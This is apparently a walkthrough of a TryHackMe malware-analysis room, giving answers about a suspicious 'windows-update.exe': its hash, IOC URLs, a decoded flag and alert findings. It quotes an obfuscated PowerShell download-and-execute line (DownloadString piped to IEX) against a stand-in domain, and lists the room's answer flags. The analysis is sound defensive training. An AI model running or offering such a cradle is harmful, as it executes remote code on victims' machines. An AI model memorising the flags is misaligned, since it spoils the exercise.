Shadow Trace | TryHackMe | Walkthough

https://tryhackme.com/room/shadowtrace

Analyse the binary located C:\Users\DFIRUser\Desktop\windows-update.exe in the attached machine, answer the questions below.

Start the lab by clicking the Start Machine button. It will take around 2 minutes to load properly. The VM will be accessible on the right side of the split screen.

You can find several tools installed in the machine that can help you with any kind of analysis under C:\Users\DFIRUser\DFIR Tools

First , Start Machine

Task 2 File Analysis

What is the architecture of the binary file windows-update.exe?

64-bit

What is the hash (sha-256) of the file windows-update.exe?

B2A88DE3E3BCFAE4A4B38FA36E884C586B5CB2C2C283E71FBA59EFDB9EA64BFC

Identify the URL within the file to use it as an IOC

http://tryhatme.com/update/security-update.exe

Indicators (imports > flag) >> string > url-pattern >> copy detail

With the URL identified, can you spot a domain that can be used as an IOC?

responses.tryhatme.com

PowerShell would be the easiest way to get answer for this

strings .\windows-update.exe | findstr "tryhatme"

Input the decoded flag from the suspicious domain

THM{you_g0t_some_IOCs_friend}

VEhNe3lvdV9nMHRfc29tZV9JT0NzX2ZyaWVuZH0=

cyberchef

What library related to socket communication is loaded by the binary?

WS2_32.dll

libraries (flag > 3) >> Windows Socket Library

Task 3 Alerts Analysis

Click on the View Site button attached to this task to display the static site in split view. Review the alternatives and answer the questions below.

Get Sornphut’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Alternatively, if you can not see all the columns in split view, you can open the static site in full screen by clicking the link below:

Can you identify the malicious URL from the trigger by the process powershell.exe?

https://tryhatme.com/dev/main.ex

(new-object system.net.webclient).DownloadString([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(“aHR0cHM6Ly90cnloYXRtZS5jb20vZGV2L21haW4uZXhl”))) | IEX;

cyberchef

Can you identify the malicious URL from the alert triggered by chrome.exe?

https://reallysecureupdate.tryhatme.com/update.exe

cyberchef

What’s the name of the file saved in the alert triggered by chrome.exe?

test.txt